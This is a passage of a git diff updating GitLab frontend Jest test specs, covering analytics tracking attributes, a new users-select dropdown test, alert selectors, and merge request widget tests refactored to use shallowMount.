@@ -217,7 +221,7 @@ describe('Tracking', () => {
});
it('handles checkbox values correctly', () => {
- const checkbox = document.querySelector('[data-track-event="toggle_checkbox"]');
+ const checkbox = document.querySelector(`[data-track-${term}="toggle_checkbox"]`);
checkbox.click(); // unchecking
@@ -233,7 +237,7 @@ describe('Tracking', () => {
});
it('handles bootstrap dropdowns', () => {
- const dropdown = document.querySelector('[data-track-event="toggle_dropdown"]');
+ const dropdown = document.querySelector(`[data-track-${term}="toggle_dropdown"]`);
dropdown.dispatchEvent(new Event('show.bs.dropdown', { bubbles: true }));
@@ -250,7 +254,7 @@ describe('Tracking', () => {
expect(eventSpy).toHaveBeenCalledWith('_category_', 'nested_event', {});
});
- it('brings in experiment data if linked to an experiment', () => {
+ it('includes experiment data if linked to an experiment', () => {
const mockExperimentData = {
variant: 'candidate',
experiment: 'repo_integrations_link',
@@ -258,7 +262,7 @@ describe('Tracking', () => {
};
getExperimentData.mockReturnValue(mockExperimentData);
- document.querySelector('[data-track-event="click_input3"]').click();
+ document.querySelector(`[data-track-${term}="click_input3"]`).click();
expect(eventSpy).toHaveBeenCalledWith('_category_', 'click_input3', {
value: '_value_',
@@ -267,22 +271,26 @@ describe('Tracking', () => {
});
});
- describe('tracking page loaded events', () => {
+ describe.each`
+ term
+ ${'event'}
+ ${'action'}
+ `('tracking page loaded events with -$term', ({ term }) => {
let eventSpy;
beforeEach(() => {
eventSpy = jest.spyOn(Tracking, 'event');
setHTMLFixture(`
- <input data-track-event="render" data-track-label="label1" value="_value_" data-track-property="_property_"/>
- <span data-track-event="render" data-track-label="label2" data-track-value="_value_">
+ <input data-track-${term}="render" data-track-label="label1" value="_value_" data-track-property="_property_"/>
+ <span data-track-${term}="render" data-track-label="label2" data-track-value="_value_">
Something
</span>
- <input data-track-event="_render_bogus_" data-track-label="label3" value="_value_" data-track-property="_property_"/>
+ <input data-track-${term}="_render_bogus_" data-track-label="label3" value="_value_" data-track-property="_property_"/>
`);
Tracking.trackLoadEvents('_category_'); // only happens once
});
- it('sends tracking events when [data-track-event="render"] is on an element', () => {
+ it(`sends tracking events when [data-track-${term}="render"] is on an element`, () => {
expect(eventSpy.mock.calls).toEqual([
[
'_category_',
@@ -318,6 +326,30 @@ describe('Tracking', () => {
mixin.computed.tracking = { foo: 'baz', baz: 'bar' };
expect(mixin.computed.trackingOptions()).toEqual({ foo: 'baz', baz: 'bar' });
});
+
+ it('includes experiment data if linked to an experiment', () => {
+ const mockExperimentData = {
+ variant: 'candidate',
+ experiment: 'darkMode',
+ };
+ getExperimentData.mockReturnValue(mockExperimentData);
+
+ const mixin = Tracking.mixin({ foo: 'bar', experiment: 'darkMode' });
+ expect(mixin.computed.trackingOptions()).toEqual({
+ foo: 'bar',
+ context: {
+ schema: TRACKING_CONTEXT_SCHEMA,
+ data: mockExperimentData,
+ },
+ });
+ });
+
+ it('does not include experiment data if experiment data does not exist', () => {
+ const mixin = Tracking.mixin({ foo: 'bar', experiment: 'lightMode' });
+ expect(mixin.computed.trackingOptions()).toEqual({
+ foo: 'bar',
+ });
+ });
});
describe('trackingCategory', () => {
diff --git a/spec/frontend/users_select/index_spec.js b/spec/frontend/users_select/index_spec.js
new file mode 100644
index 00000000000..5b07087b76c
--- /dev/null
+++ b/spec/frontend/users_select/index_spec.js
@@ -0,0 +1,223 @@
+import { waitFor } from '@testing-library/dom';
+import MockAdapter from 'axios-mock-adapter';
+import { cloneDeep } from 'lodash';
+import { getJSONFixture } from 'helpers/fixtures';
+import axios from '~/lib/utils/axios_utils';
+import UsersSelect from '~/users_select';
+
+// TODO: generate this from a fixture that guarantees the same output in CE and EE [(see issue)][1].
+// Hardcoding this HTML temproarily fixes a FOSS ~"master::broken" [(see issue)][2].
+// [1]: https://gitlab.com/gitlab-org/gitlab/-/issues/327809
+// [2]: https://gitlab.com/gitlab-org/gitlab/-/issues/327805
+const getUserSearchHTML = () => `
+<div class="js-sidebar-assignee-data selectbox hide-collapsed">
+<input type="hidden" name="merge_request[assignee_ids][]" value="0">
+<div class="dropdown js-sidebar-assignee-dropdown">
+<button class="dropdown-menu-toggle js-user-search js-author-search js-multiselect js-save-user-data js-invite-members-track" type="button" data-first-user="frontend-fixtures" data-current-user="true" data-iid="1" data-issuable-type="merge_request" data-project-id="1" data-author-id="1" data-field-name="merge_request[assignee_ids][]" data-issue-update="http://test.host/frontend-fixtures/merge-requests-project/-/merge_requests/1.json" data-ability-name="merge_request" data-null-user="true" data-display="static" data-multi-select="true" data-dropdown-title="Select assignee(s)" data-dropdown-header="Assignee(s)" data-track-event="show_invite_members" data-toggle="dropdown"><span class="dropdown-toggle-text ">Select assignee(s)</span><svg class="s16 dropdown-menu-toggle-icon gl-top-3" data-testid="chevron-down-icon"><use xlink:href="http://test.host/assets/icons-16c30bec0d8a57f0a33e6f6215c6aff7a6ec5e4a7e6b7de733a6b648541a336a.svg#chevron-down"></use></svg></button><div class="dropdown-menu dropdown-select dropdown-menu-user dropdown-menu-selectable dropdown-menu-author dropdown-extended-height">
+<div class="dropdown-title gl-display-flex">
+<span class="gl-ml-auto">Assign to</span><button class="dropdown-title-button dropdown-menu-close gl-ml-auto" aria-label="Close" type="button"><svg class="s16 dropdown-menu-close-icon" data-testid="close-icon"><use xlink:href="http://test.host/assets/icons-16c30bec0d8a57f0a33e6f6215c6aff7a6ec5e4a7e6b7de733a6b648541a336a.svg#close"></use></svg></button>
+</div>
+<div class="dropdown-input">
+<input type="search" id="" data-qa-selector="dropdown_input_field" class="dropdown-input-field" placeholder="Search users" autocomplete="off"><svg class="s16 dropdown-input-search" data-testid="search-icon"><use xlink:href="http://test.host/assets/icons-16c30bec0d8a57f0a33e6f6215c6aff7a6ec5e4a7e6b7de733a6b648541a336a.svg#search"></use></svg><svg class="s16 dropdown-input-clear js-dropdown-input-clear" data-testid="close-icon"><use xlink:href="http://test.host/assets/icons-16c30bec0d8a57f0a33e6f6215c6aff7a6ec5e4a7e6b7de733a6b648541a336a.svg#close"></use></svg>
+</div>
+<div data-qa-selector="dropdown_list_content" class="dropdown-content "></div>
+<div class="dropdown-footer">
+<ul class="dropdown-footer-list">
+<li>
+<div class="js-invite-members-trigger" data-display-text="Invite Members" data-event="click_invite_members" data-label="edit_assignee" data-trigger-element="anchor"></div>
+</li>
+</ul>
+</div>
+<div class="dropdown-loading"><div class="gl-spinner-container"><span class="gl-spinner gl-spinner-orange gl-spinner-md gl-mt-7" aria-label="Loading"></span></div></div>
+</div>
+</div>
+</div>
+`;
+
+const USER_SEARCH_HTML = getUserSearchHTML();
+const AUTOCOMPLETE_USERS = getJSONFixture('autocomplete/users.json');
+
+describe('~/users_select/index', () => {
+ let subject;
+ let mock;
+
+ const createSubject = (currentUser = null) => {
+ if (subject) {
+ throw new Error('test subject is already created');
+ }
+
+ subject = new UsersSelect(currentUser);
+ };
+
+ // finders -------------------------------------------------------------------
+ const findAssigneesInputs = () =>
+ document.querySelectorAll('input[name="merge_request[assignee_ids][]');
+ const findAssigneesInputsModel = () =>
+ Array.from(findAssigneesInputs()).map((input) => ({
+ value: input.value,
+ dataset: { ...input.dataset },
+ }));
+ const findUserSearchButton = () => document.querySelector('.js-user-search');
+ const findDropdownItem = ({ id }) => document.querySelector(`li[data-user-id="${id}"] a`);
+ const findDropdownItemsModel = () =>
+ Array.from(document.querySelectorAll('.dropdown-content li')).map((el) => {
+ if (el.classList.contains('divider')) {
+ return {
+ type: 'divider',
+ };
+ } else if (el.classList.contains('dropdown-header')) {
+ return {
+ type: 'dropdown-header',
+ text: el.textContent,
+ };
+ }
+
+ return {
+ type: 'user',
+ userId: el.dataset.userId,
+ };
+ });
+
+ // arrange/act helpers -------------------------------------------------------
+ const setAssignees = (...users) => {
+ findAssigneesInputs().forEach((x) => x.remove());
+
+ const container = document.querySelector('.js-sidebar-assignee-data');
+
+ container.prepend(
+ ...users.map((user) => {
+ const input = document.createElement('input');
+ input.name = 'merge_request[assignee_ids][]';
+ input.value = user.id.toString();
+ input.setAttribute('data-avatar-url', user.avatar_url);
+ input.setAttribute('data-name', user.name);
+ input.setAttribute('data-username', user.username);
+ input.setAttribute('data-can-merge', user.can_merge);
+ return input;
+ }),
+ );
+ };
+ const toggleDropdown = () => findUserSearchButton().click();
+ const waitForDropdownItems = () =>
+ waitFor(() => expect(findDropdownItem(AUTOCOMPLETE_USERS[0])).not.toBeNull());
+
+ // assertion helpers ---------------------------------------------------------
+ const createUnassignedExpectation = () => {
+ return [
+ { type: 'user', userId: '0' },
+ { type: 'divider' },
+ ...AUTOCOMPLETE_USERS.map((x) => ({ type: 'user', userId: x.id.toString() })),
+ ];
+ };
+ const createAssignedExpectation = (...selectedUsers) => {
+ const selectedIds = new Set(selectedUsers.map((x) => x.id));
+ const unselectedUsers = AUTOCOMPLETE_USERS.filter((x) => !selectedIds.has(x.id));
+
+ return [
+ { type: 'user', userId: '0' },
+ { type: 'divider' },
+ { type: 'dropdown-header', text: 'Assignee(s)' },
+ ...selectedUsers.map((x) => ({ type: 'user', userId: x.id.toString() })),
+ { type: 'divider' },
+ ...unselectedUsers.map((x) => ({ type: 'user', userId: x.id.toString() })),
+ ];
+ };
+
+ beforeEach(() => {
+ const rootEl = document.createElement('div');
+ rootEl.innerHTML = USER_SEARCH_HTML;
+ document.body.appendChild(rootEl);
+
+ mock = new MockAdapter(axios);
+ mock.onGet('/-/autocomplete/users.json').reply(200, cloneDeep(AUTOCOMPLETE_USERS));
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ subject = null;
+ });
+
+ describe('when opened', () => {
+ beforeEach(async () => {
+ createSubject();
+
+ toggleDropdown();
+ await waitForDropdownItems();
+ });
+
+ it('shows users', () => {
+ expect(findDropdownItemsModel()).toEqual(createUnassignedExpectation());
+ });
+
+ describe('when users are selected', () => {
+ const selectedUsers = [AUTOCOMPLETE_USERS[2], AUTOCOMPLETE_USERS[4]];
+ const expectation = createAssignedExpectation(...selectedUsers);
+
+ beforeEach(() => {
+ selectedUsers.forEach((user) => {
+ findDropdownItem(user).click();
+ });
+ });
+
+ it('shows assignee', () => {
+ expect(findDropdownItemsModel()).toEqual(expectation);
+ });
+
+ it('shows assignee even after close and open', () => {
+ toggleDropdown();
+ toggleDropdown();
+
+ expect(findDropdownItemsModel()).toEqual(expectation);
+ });
+
+ it('updates field', () => {
+ expect(findAssigneesInputsModel()).toEqual(
+ selectedUsers.map((user) => ({
+ value: user.id.toString(),
+ dataset: {
+ approved: user.approved.toString(),
+ avatar_url: user.avatar_url,
+ can_merge: user.can_merge.toString(),
+ can_update_merge_request: user.can_update_merge_request.toString(),
+ id: user.id.toString(),
+ name: user.name,
+ show_status: user.show_status.toString(),
+ state: user.state,
+ username: user.username,
+ web_url: user.web_url,
+ },
+ })),
+ );
+ });
+ });
+ });
+
+ describe('with preselected user and opened', () => {
+ const expectation = createAssignedExpectation(AUTOCOMPLETE_USERS[0]);
+
+ beforeEach(async () => {
+ setAssignees(AUTOCOMPLETE_USERS[0]);
+
+ createSubject();
+
+ toggleDropdown();
+ await waitForDropdownItems();
+ });
+
+ it('shows users', () => {
+ expect(findDropdownItemsModel()).toEqual(expectation);
+ });
+
+ // Regression test for https://gitlab.com/gitlab-org/gitlab/-/issues/325991
+ describe('when closed and reopened', () => {
+ beforeEach(() => {
+ toggleDropdown();
+ toggleDropdown();
+ });
+
+ it('shows users', () => {
+ expect(findDropdownItemsModel()).toEqual(expectation);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_alerts_spec.js b/spec/frontend/vue_alerts_spec.js
index 16eb2d44e4d..05b73415544 100644
--- a/spec/frontend/vue_alerts_spec.js
+++ b/spec/frontend/vue_alerts_spec.js
@@ -42,15 +42,17 @@ describe('VueAlerts', () => {
const findJsHooks = () => document.querySelectorAll('.js-vue-alert');
const findAlerts = () => document.querySelectorAll('.gl-alert');
- const findAlertDismiss = (alert) => alert.querySelector('.gl-alert-dismiss');
+ const findAlertDismiss = (alert) => alert.querySelector('.gl-dismiss-btn');
const serializeAlert = (alert) => ({
title: alert.querySelector('.gl-alert-title').textContent.trim(),
html: alert.querySelector('.gl-alert-body div').innerHTML,
- dismissible: Boolean(alert.querySelector('.gl-alert-dismiss')),
+ dismissible: Boolean(alert.querySelector('.gl-dismiss-btn')),
primaryButtonText: alert.querySelector('.gl-alert-action').textContent.trim(),
primaryButtonLink: alert.querySelector('.gl-alert-action').href,
- variant: [...alert.classList].find((x) => x.match('gl-alert-')).replace('gl-alert-', ''),
+ variant: [...alert.classList]
+ .find((x) => x.match(/gl-alert-(?!not-dismissible)/))
+ .replace('gl-alert-', ''),
});
it('starts with only JsHooks', () => {
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_author_time_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_author_time_spec.js
index 78efcb6e695..8fd93809e01 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_author_time_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_author_time_spec.js
@@ -1,42 +1,43 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
+import { shallowMount } from '@vue/test-utils';
+import MrWidgetAuthor from '~/vue_merge_request_widget/components/mr_widget_author.vue';
import MrWidgetAuthorTime from '~/vue_merge_request_widget/components/mr_widget_author_time.vue';
describe('MrWidgetAuthorTime', () => {
- let vm;
+ let wrapper;
+
+ const defaultProps = {
+ actionText: 'Merged by',
+ author: {
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://localhost:3000/root',
+ avatarUrl: 'http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ },
+ dateTitle: '2017-03-23T23:02:00.807Z',
+ dateReadable: '12 hours ago',
+ };
beforeEach(() => {
- const Component = Vue.extend(MrWidgetAuthorTime);
-
- vm = mountComponent(Component, {
- actionText: 'Merged by',
- author: {
- name: 'Administrator',
- username: 'root',
- webUrl: 'http://localhost:3000/root',
- avatarUrl:
- 'http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
- },
- dateTitle: '2017-03-23T23:02:00.807Z',
- dateReadable: '12 hours ago',
+ wrapper = shallowMount(MrWidgetAuthorTime, {
+ propsData: defaultProps,
});
});
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
it('renders provided action text', () => {
- expect(vm.$el.textContent).toContain('Merged by');
+ expect(wrapper.text()).toContain('Merged by');
});
it('renders author', () => {
- expect(vm.$el.textContent).toContain('Administrator');
+ expect(wrapper.find(MrWidgetAuthor).props('author')).toStrictEqual(defaultProps.author);
});
it('renders provided time', () => {
- expect(vm.$el.querySelector('time').getAttribute('title')).toEqual('2017-03-23T23:02:00.807Z');
+ expect(wrapper.find('time').attributes('title')).toBe('2017-03-23T23:02:00.807Z');
- expect(vm.$el.querySelector('time').textContent.trim()).toEqual('12 hours ago');
+ expect(wrapper.find('time').text().trim()).toBe('12 hours ago');
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
index db884dfe015..eadf07e54fb 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
@@ -1,38 +1,35 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import headerComponent from '~/vue_merge_request_widget/components/mr_widget_header.vue';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import Header from '~/vue_merge_request_widget/components/mr_widget_header.vue';
describe('MRWidgetHeader', () => {
- let vm;
- let Component;
+ let wrapper;
- beforeEach(() => {
- Component = Vue.extend(headerComponent);
- });
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(Header, {
+ propsData,
+ });
+ };
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
gon.relative_url_root = '';
});
const expectDownloadDropdownItems = () => {
- const downloadEmailPatchesEl = vm.$el.querySelector('.js-download-email-patches');
- const downloadPlainDiffEl = vm.$el.querySelector('.js-download-plain-diff');
-
- expect(downloadEmailPatchesEl.innerText.trim()).toEqual('Email patches');
- expect(downloadEmailPatchesEl.querySelector('a').getAttribute('href')).toEqual(
- '/mr/email-patches',
- );
- expect(downloadPlainDiffEl.innerText.trim()).toEqual('Plain diff');
- expect(downloadPlainDiffEl.querySelector('a').getAttribute('href')).toEqual(
- '/mr/plainDiffPath',
- );
+ const downloadEmailPatchesEl = wrapper.find('.js-download-email-patches');
+ const downloadPlainDiffEl = wrapper.find('.js-download-plain-diff');
+
+ expect(downloadEmailPatchesEl.text().trim()).toBe('Email patches');
+ expect(downloadEmailPatchesEl.attributes('href')).toBe('/mr/email-patches');
+ expect(downloadPlainDiffEl.text().trim()).toBe('Plain diff');
+ expect(downloadPlainDiffEl.attributes('href')).toBe('/mr/plainDiffPath');
};
describe('computed', () => {
describe('shouldShowCommitsBehindText', () => {
it('return true when there are divergedCommitsCount', () => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 12,
sourceBranch: 'mr-widget-refactor',
@@ -42,11 +39,11 @@ describe('MRWidgetHeader', () => {
},
});
- expect(vm.shouldShowCommitsBehindText).toEqual(true);
+ expect(wrapper.vm.shouldShowCommitsBehindText).toBe(true);
});
it('returns false where there are no divergedComits count', () => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 0,
sourceBranch: 'mr-widget-refactor',
@@ -56,13 +53,13 @@ describe('MRWidgetHeader', () => {
},
});
- expect(vm.shouldShowCommitsBehindText).toEqual(false);
+ expect(wrapper.vm.shouldShowCommitsBehindText).toBe(false);
});
});
describe('commitsBehindText', () => {
it('returns singular when there is one commit', () => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 1,
sourceBranch: 'mr-widget-refactor',
@@ -73,13 +70,13 @@ describe('MRWidgetHeader', () => {
},
});
- expect(vm.commitsBehindText).toEqual(
+ expect(wrapper.vm.commitsBehindText).toBe(
'The source branch is <a href="/foo/bar/master">1 commit behind</a> the target branch',
);
});
it('returns plural when there is more than one commit', () => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 2,
sourceBranch: 'mr-widget-refactor',
@@ -90,7 +87,7 @@ describe('MRWidgetHeader', () => {
},
});
- expect(vm.commitsBehindText).toEqual(
+ expect(wrapper.vm.commitsBehindText).toBe(
'The source branch is <a href="/foo/bar/master">2 commits behind</a> the target branch',
);
});
@@ -100,7 +97,7 @@ describe('MRWidgetHeader', () => {
describe('template', () => {
describe('common elements', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 12,
sourceBranch: 'mr-widget-refactor',
@@ -118,17 +115,17 @@ describe('MRWidgetHeader', () => {
});
it('renders source branch link', () => {
- expect(vm.$el.querySelector('.js-source-branch').innerHTML).toEqual(
+ expect(wrapper.find('.js-source-branch').html()).toContain(
'<a href="/foo/bar/mr-widget-refactor">mr-widget-refactor</a>',
);
});
it('renders clipboard button', () => {
- expect(vm.$el.querySelector('[data-testid="mr-widget-copy-clipboard"]')).not.toEqual(null);
+ expect(wrapper.find('[data-testid="mr-widget-copy-clipboard"]')).not.toBe(null);
});
it('renders target branch', () => {
- expect(vm.$el.querySelector('.js-target-branch').textContent.trim()).toEqual('master');
+ expect(wrapper.find('.js-target-branch').text().trim()).toBe('master');
});
});
@@ -151,71 +148,68 @@ describe('MRWidgetHeader', () => {
targetProjectFullPath: 'gitlab-org/gitlab-ce',
};
- afterEach(() => {
- vm.$destroy();
- });
-
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
mr: { ...mrDefaultOptions },
});
});
it('renders checkout branch button with modal trigger', () => {
- const button = vm.$el.querySelector('.js-check-out-branch');
+ const button = wrapper.find('.js-check-out-branch');
- expect(button.textContent.trim()).toBe('Check out branch');
+ expect(button.text().trim()).toBe('Check out branch');
});
- it('renders web ide button', () => {
- const button = vm.$el.querySelector('.js-web-ide');
+ it('renders web ide button', async () => {
+ const button = wrapper.find('.js-web-ide');
- expect(button.textContent.trim()).toEqual('Open in Web IDE');
- expect(button.classList.contains('disabled')).toBe(false);
- expect(button.getAttribute('href')).toEqual(
+ await nextTick();
+
+ expect(button.text().trim()).toBe('Open in Web IDE');
+ expect(button.classes('disabled')).toBe(false);
+ expect(button.attributes('href')).toBe(
'/-/ide/project/root/gitlab-ce/merge_requests/1?target_project=gitlab-org%2Fgitlab-ce',
);
});
- it('renders web ide button in disabled state with no href', () => {
+ it('renders web ide button in disabled state with no href', async () => {
const mr = { ...mrDefaultOptions, canPushToSourceBranch: false };
- vm = mountComponent(Component, { mr });
+ createComponent({ mr });
+
+ await nextTick();
- const link = vm.$el.querySelector('.js-web-ide');
+ const link = wrapper.find('.js-web-ide');
- expect(link.classList.contains('disabled')).toBe(true);
- expect(link.getAttribute('href')).toBeNull();
+ expect(link.attributes('disabled')).toBe('true');
+ expect(link.attributes('href')).toBeUndefined();
});
- it('renders web ide button with blank query string if target & source project branch', (done) => {
- vm.mr.targetProjectFullPath = 'root/gitlab-ce';
+ it('renders web ide button with blank query string if target & source project branch', async () => {
+ createComponent({ mr: { ...mrDefaultOptions, targetProjectFullPath: 'root/gitlab-ce' } });
- vm.$nextTick(() => {
- const button = vm.$el.querySelector('.js-web-ide');
+ await nextTick();
- expect(button.textContent.trim()).toEqual('Open in Web IDE');
- expect(button.getAttribute('href')).toEqual(
- '/-/ide/project/root/gitlab-ce/merge_requests/1?target_project=',
- );
+ const button = wrapper.find('.js-web-ide');
- done();
- });
+ expect(button.text().trim()).toBe('Open in Web IDE');
+ expect(button.attributes('href')).toBe(
+ '/-/ide/project/root/gitlab-ce/merge_requests/1?target_project=',
+ );
});
- it('renders web ide button with relative URL', (done) => {
+ it('renders web ide button with relative URL', async () => {
gon.relative_url_root = '/gitlab';
- vm.mr.iid = 2;
- vm.$nextTick(() => {
- const button = vm.$el.querySelector('.js-web-ide');
+ createComponent({ mr: { ...mrDefaultOptions, iid: 2 } });
- expect(button.textContent.trim()).toEqual('Open in Web IDE');
- expect(button.getAttribute('href')).toEqual(
- '/gitlab/-/ide/project/root/gitlab-ce/merge_requests/2?target_project=gitlab-org%2Fgitlab-ce',
- );
+ await nextTick();
- done();
- });
+ const button = wrapper.find('.js-web-ide');
+
+ expect(button.text().trim()).toBe('Open in Web IDE');
+ expect(button.attributes('href')).toBe(
+ '/gitlab/-/ide/project/root/gitlab-ce/merge_requests/2?target_project=gitlab-org%2Fgitlab-ce',
+ );
});
it('renders download dropdown with links', () => {
@@ -225,7 +219,7 @@ describe('MRWidgetHeader', () => {
describe('with a closed merge request', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 12,
sourceBranch: 'mr-widget-refactor',
@@ -243,9 +237,9 @@ describe('MRWidgetHeader', () => {
});
it('does not render checkout branch button with modal trigger', () => {
- const button = vm.$el.querySelector('.js-check-out-branch');
+ const button = wrapper.find('.js-check-out-branch');
- expect(button).toEqual(null);
+ expect(button.exists()).toBe(false);
});
it('renders download dropdown with links', () => {
@@ -255,7 +249,7 @@ describe('MRWidgetHeader', () => {
describe('without diverged commits', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 0,
sourceBranch: 'mr-widget-refactor',
@@ -273,13 +267,13 @@ describe('MRWidgetHeader', () => {
});
it('does not render diverged commits info', () => {
- expect(vm.$el.querySelector('.diverged-commits-count')).toEqual(null);
+ expect(wrapper.find('.diverged-commits-count').exists()).toBe(false);
});
});
describe('with diverged commits', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
mr: {
divergedCommitsCount: 12,
sourceBranch: 'mr-widget-refactor',
@@ -297,17 +291,13 @@ describe('MRWidgetHeader', () => {
});
it('renders diverged commits info', () => {
- expect(vm.$el.querySelector('.diverged-commits-count').textContent).toEqual(
+ expect(wrapper.find('.diverged-commits-count').text().trim()).toBe(
'The source branch is 12 commits behind the target branch',
);
- expect(vm.$el.querySelector('.diverged-commits-count a').textContent).toEqual(
- '12 commits behind',
- );
-
- expect(vm.$el.querySelector('.diverged-commits-count a')).toHaveAttr(
- 'href',
- vm.mr.targetBranchPath,
+ expect(wrapper.find('.diverged-commits-count a').text().trim()).toBe('12 commits behind');
+ expect(wrapper.find('.diverged-commits-count a').attributes('href')).toBe(
+ wrapper.vm.mr.targetBranchPath,
);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
index 28492018600..924dc37aab9 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
@@ -1,6 +1,7 @@
import { GlLoadingIcon } from '@gitlab/ui';
import { shallowMount, mount } from '@vue/test-utils';
import { trimText } from 'helpers/text_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import PipelineMiniGraph from '~/pipelines/components/pipelines_list/pipeline_mini_graph.vue';
import PipelineStage from '~/pipelines/components/pipelines_list/pipeline_stage.vue';
import PipelineComponent from '~/vue_merge_request_widget/components/mr_widget_pipeline.vue';
@@ -22,27 +23,31 @@ describe('MRWidgetPipeline', () => {
'Could not retrieve the pipeline status. For troubleshooting steps, read the documentation.';
const monitoringMessage = 'Checking pipeline status.';
- const findCIErrorMessage = () => wrapper.find('[data-testid="ci-error-message"]');
- const findPipelineID = () => wrapper.find('[data-testid="pipeline-id"]');
- const findPipelineInfoContainer = () => wrapper.find('[data-testid="pipeline-info-container"]');
- const findCommitLink = () => wrapper.find('[data-testid="commit-link"]');
- const findPipelineMiniGraph = () => wrapper.find(PipelineMiniGraph);
- const findAllPipelineStages = () => wrapper.findAll(PipelineStage);
- const findPipelineCoverage = () => wrapper.find('[data-testid="pipeline-coverage"]');
- const findPipelineCoverageDelta = () => wrapper.find('[data-testid="pipeline-coverage-delta"]');
+ const findCIErrorMessage = () => wrapper.findByTestId('ci-error-message');
+ const findPipelineID = () => wrapper.findByTestId('pipeline-id');
+ const findPipelineInfoContainer = () => wrapper.findByTestId('pipeline-info-container');
+ const findCommitLink = () => wrapper.findByTestId('commit-link');
+ const findPipelineFinishedAt = () => wrapper.findByTestId('finished-at');
+ const findPipelineMiniGraph = () => wrapper.findComponent(PipelineMiniGraph);
+ const findAllPipelineStages = () => wrapper.findAllComponents(PipelineStage);
+ const findPipelineCoverage = () => wrapper.findByTestId('pipeline-coverage');
+ const findPipelineCoverageDelta = () => wrapper.findByTestId('pipeline-coverage-delta');
const findPipelineCoverageTooltipText = () =>
- wrapper.find('[data-testid="pipeline-coverage-tooltip"]').text();
- const findMonitoringPipelineMessage = () =>
- wrapper.find('[data-testid="monitoring-pipeline-message"]');
- const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ wrapper.findByTestId('pipeline-coverage-tooltip').text();
+ const findPipelineCoverageDeltaTooltipText = () =>
+ wrapper.findByTestId('pipeline-coverage-delta-tooltip').text();
+ const findMonitoringPipelineMessage = () => wrapper.findByTestId('monitoring-pipeline-message');
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const createWrapper = (props = {}, mountFn = shallowMount) => {
- wrapper = mountFn(PipelineComponent, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
+ wrapper = extendedWrapper(
+ mountFn(PipelineComponent, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ }),
+ );
};
afterEach(() => {
@@ -87,6 +92,13 @@ describe('MRWidgetPipeline', () => {
expect(findCommitLink().attributes('href')).toBe(mockData.pipeline.commit.commit_path);
});
+ it('should render pipeline finished timestamp', () => {
+ expect(findPipelineFinishedAt().attributes()).toMatchObject({
+ title: 'Apr 7, 2017 2:00pm GMT+0000',
+ datetime: mockData.pipeline.details.finished_at,
+ });
+ });
+
it('should render pipeline graph', () => {
expect(findPipelineMiniGraph().exists()).toBe(true);
expect(findAllPipelineStages()).toHaveLength(mockData.pipeline.details.stages.length);
@@ -94,7 +106,9 @@ describe('MRWidgetPipeline', () => {
describe('should render pipeline coverage information', () => {
it('should render coverage percentage', () => {
- expect(findPipelineCoverage().text()).toMatch(`Coverage ${mockData.pipeline.coverage}%`);
+ expect(findPipelineCoverage().text()).toMatch(
+ `Test coverage ${mockData.pipeline.coverage}%`,
+ );
});
it('should render coverage delta', () => {
@@ -102,24 +116,9 @@ describe('MRWidgetPipeline', () => {
expect(findPipelineCoverageDelta().text()).toBe(`(${mockData.pipelineCoverageDelta}%)`);
});
- it('coverage delta should have no special style if there is no coverage change', () => {
- createWrapper({ pipelineCoverageDelta: '0' });
- expect(findPipelineCoverageDelta().classes()).toEqual([]);
- });
-
- it('coverage delta should have text-success style if coverage increased', () => {
- createWrapper({ pipelineCoverageDelta: '10' });
- expect(findPipelineCoverageDelta().classes()).toEqual(['text-success']);
- });
-
- it('coverage delta should have text-danger style if coverage increased', () => {
- createWrapper({ pipelineCoverageDelta: '-10' });
- expect(findPipelineCoverageDelta().classes()).toEqual(['text-danger']);
- });
-
it('should render tooltip for jobs contributing to code coverage', () => {
const tooltipText = findPipelineCoverageTooltipText();
- const expectedDescription = `Coverage value for this pipeline was calculated by averaging the resulting coverage values of ${mockData.buildsWithCoverage.length} jobs.`;
+ const expectedDescription = `Test coverage value for this pipeline was calculated by averaging the resulting coverage values of ${mockData.buildsWithCoverage.length} jobs.`;
expect(tooltipText).toContain(expectedDescription);
});
@@ -132,6 +131,26 @@ describe('MRWidgetPipeline', () => {
